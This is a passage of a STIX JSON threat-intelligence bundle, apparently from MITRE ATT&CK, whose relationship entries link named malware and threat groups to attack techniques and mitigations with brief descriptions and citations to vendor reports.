                    "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."
                }
            ],
            "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2021-03-29T19:50:54.197Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1d3296a5-9a15-4bd9-a294-ee014348136c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) can obtain information about the victim usernames.(Citation: Forcepoint Monsoon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
            "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-16T19:50:03.223Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--37533c33-9cc4-4707-8b30-d8be6aeaefc6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[yty](https://attack.mitre.org/software/S0248) contains junk code in its binary, likely to confuse malware analysts.(Citation: ASERT Donot March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/",
                    "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.",
                    "source_name": "ASERT Donot March 2018"
                }
            ],
            "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "type": "relationship",
            "modified": "2019-04-25T00:09:23.118Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e68684df-28b4-4f06-b553-cacf14866605",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ChChes](https://attack.mitre.org/software/S0144) copies itself to an .exe file with a filename that is likely intended to imitate Norton Antivirus but has several letters reversed (e.g. notron.exe).(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-17T23:41:15.923Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5aaa885e-3e87-4904-8007-1001f4a5642f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Honeybee](https://attack.mitre.org/groups/G0072) gathers computer name and information using the <code>systeminfo</code> command.(Citation: McAfee Honeybee)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                }
            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-04-16T19:41:40.516Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--91b22928-d538-4460-a5ff-7a0a5e797430",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has delivered zero-day exploits and malware to victims by injecting malicious code into specific public Web pages visited by targets within a particular sector.(Citation: Symantec Elderwood Sept 2012)(Citation: CSM Elderwood Sept 2012)(Citation: Security Affairs Elderwood Sept 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
                },
                {
                    "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China",
                    "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.",
                    "source_name": "CSM Elderwood Sept 2012"
                },
                {
                    "url": "http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html",
                    "description": "Paganini, P. (2012, September 9). Elderwood project, who is behind Op. Aurora and ongoing attacks?. Retrieved February 13, 2018.",
                    "source_name": "Security Affairs Elderwood Sept 2012"
                }
            ],
            "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "type": "relationship",
            "modified": "2021-01-06T19:32:28.685Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--fb60b027-facd-4be2-b8b2-0fb9351ea235",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[cmd](https://attack.mitre.org/software/S0106) is used to execute programs and other actions at the command-line interface.(Citation: TechNet Cmd)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TechNet Cmd",
                    "description": "Microsoft. (n.d.). Cmd. Retrieved April 18, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/bb490880.aspx"
                }
            ],
            "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-17T19:12:13.034Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5c75f4e0-27ab-45d0-b8bc-3991137bdb87",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has obfuscated a script with Crypto Obfuscator.(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-07-11T13:53:05.780Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7e559e10-483a-42ca-8ddf-d8ca04ed8bd2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADCALL](https://attack.mitre.org/software/S0245) modifies the firewall Registry key <code>SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfileGloballyOpenPorts\\\\List</code>.(Citation: US-CERT BADCALL)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT BADCALL",
                    "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF"
                }
            ],
            "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-03-27T20:35:51.596Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--330c8e43-575f-4c9a-b6c2-def7306841ad",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The main [CozyCar](https://attack.mitre.org/software/S0046) dropper checks whether the victim has an anti-virus product installed. If the installed product is on a predetermined list, the dropper will exit.(Citation: F-Secure CozyDuke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure CozyDuke",
                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf"
                }
            ],
            "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2020-11-23T17:03:38.700Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4a419b18-5fb2-43a0-8c0a-6521b8d9de63",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[H1N1](https://attack.mitre.org/software/S0132) kills and disables services by using cmd.exe.(Citation: Cisco H1N1 Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cisco H1N1 Part 2",
                    "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.",
                    "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"
                }
            ],
            "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:27:41.213Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f19f6e41-14b2-44a1-940f-6a6f2cfab6be",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[LOWBALL](https://attack.mitre.org/software/S0042) command and control occurs via HTTPS over port 443.(Citation: FireEye admin@338)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye admin@338",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "id": "relationship--b4c7e12f-6921-4007-ab15-595969bf9eca",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) is written in PowerShell.(Citation: FireEye APT34 Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                }
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2020-03-17T02:14:55.871Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--22a75bbf-5490-40cb-bdb7-a0eda5e95d21",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "After decrypting itself in memory, [RARSTONE](https://attack.mitre.org/software/S0055) downloads a DLL file from its C2 server and loads it in the memory space of a hidden Internet Explorer process. This \u201cdownloaded\u201d file is actually not dropped onto the system.(Citation: Camba RARSTONE)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Camba RARSTONE",
                    "description": "Camba, A. (2013, February 27). BKDR_RARSTONE: New RAT to Watch Out For. Retrieved January 8, 2016.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/"
                }
            ],
            "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-03-16T19:06:33.100Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2043a8a7-d365-4f5c-9ee3-5b9be710f14d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[jRAT](https://attack.mitre.org/software/S0283) has the capability to capture video from a webcam.(Citation: jRAT Symantec Aug 2018)(Citation: Kaspersky Adwind Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques",
                    "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.",
                    "source_name": "jRAT Symantec Aug 2018"
                },
                {
                    "source_name": "Kaspersky Adwind Feb 2016",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf",
                    "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."
                }
            ],
            "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "type": "relationship",
            "modified": "2019-06-24T17:20:24.272Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7276fbbe-3237-4e95-b2ad-8518327432ba",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) can execute commands on victims.(Citation: FireEye APT34 Webinar Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Webinar Dec 2017",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
                }
            ],
            "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T19:16:42.129Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--3126c7fa-02eb-475f-a474-26d4d6af7a67",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to enumerate system information.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T02:55:01.632Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--88898d14-9313-4fdd-8ef5-584d8dcdec17",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used VBScript.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "type": "relationship",
            "modified": "2020-03-17T19:36:48.627Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--49f9b769-57d1-4d73-8194-59b584a72c1b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bisonal](https://attack.mitre.org/software/S0268) decodes strings in the malware using XOR and RC4.(Citation: Unit 42 Bisonal July 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Bisonal July 2018",
                    "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"
                }
            ],
            "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-03-17T00:24:48.171Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ff4e1b0e-eea2-4329-aecc-e5353be8c1f4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT29](https://attack.mitre.org/groups/G0016) used UPX to pack files.(Citation: Mandiant No Easy Breach)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant No Easy Breach",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
                }
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "type": "relationship",
            "modified": "2019-07-25T14:25:53.183Z",
            "created": "2017-05-31T21:33:27.049Z"
        },
        {
            "id": "relationship--7a99577b-711d-425a-a5d9-673b134d403d",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--14b63e6b-7531-4476-9e60-02cc5db48b62",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82",
            "type": "relationship",
            "modified": "2021-04-22T20:23:01.712Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--2fb04d2a-a564-4bcf-9366-5fc46040fed5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MoonWind](https://attack.mitre.org/software/S0149) completes network communication via raw sockets.(Citation: Palo Alto MoonWind March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
                }
            ],
            "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2020-03-16T17:16:53.461Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--571029bc-2427-4f75-b16d-2116bc671e2f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "relationship_type": "uses",
            "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f",
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                }
            ],
            "description": "(Citation: McAfee Honeybee)",
            "type": "relationship",
            "modified": "2020-04-16T19:41:40.435Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2b5db549-1451-400b-bad8-75892f347aae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proxysvc](https://attack.mitre.org/software/S0238) uses port 443 for the control server communications.(Citation: McAfee GhostSecret)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-04-22T22:40:41.143Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--549fdc30-5269-48ee-9dc8-60db8deb836a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) uses an 8-byte XOR key to obfuscate API names and other strings contained in the payload.(Citation: ASERT InnaputRAT April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ASERT InnaputRAT April 2018",
                    "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.",
                    "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"
                }
            ],
            "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-18T00:48:35.848Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--842f8f4b-9d90-4533-850f-777f33ef8257",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[T9000](https://attack.mitre.org/software/S0098) uses the Skype API to record audio and video calls. It writes encrypted data to <code>%APPDATA%\\Intel\\Skype</code>.(Citation: Palo Alto T9000 Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto T9000 Feb 2016",
                    "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"
                }
            ],
            "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "type": "relationship",
            "modified": "2020-03-30T03:07:37.762Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--60c352ec-eb4c-451a-a56e-43a9dc4ee91f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) enumerates directories and obtains file attributes on a system.(Citation: ASERT InnaputRAT April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ASERT InnaputRAT April 2018",
                    "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.",
                    "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"
                }
            ],
            "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-18T00:48:35.820Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c6ee4856-1782-4430-af7f-4d71e84c9b97",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called Imecab to set up a persistent remote access account on the victim machine.(Citation: Symantec Leafminer July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "source_name": "Symantec Leafminer July 2018"
                }
            ],
            "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
            "type": "relationship",
            "modified": "2020-03-27T00:11:12.382Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ad4bd339-7416-45de-8202-f91c6909be05",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Reaver](https://attack.mitre.org/software/S0172) drops and executes a malicious CPL file as its payload.(Citation: Palo Alto Reaver Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
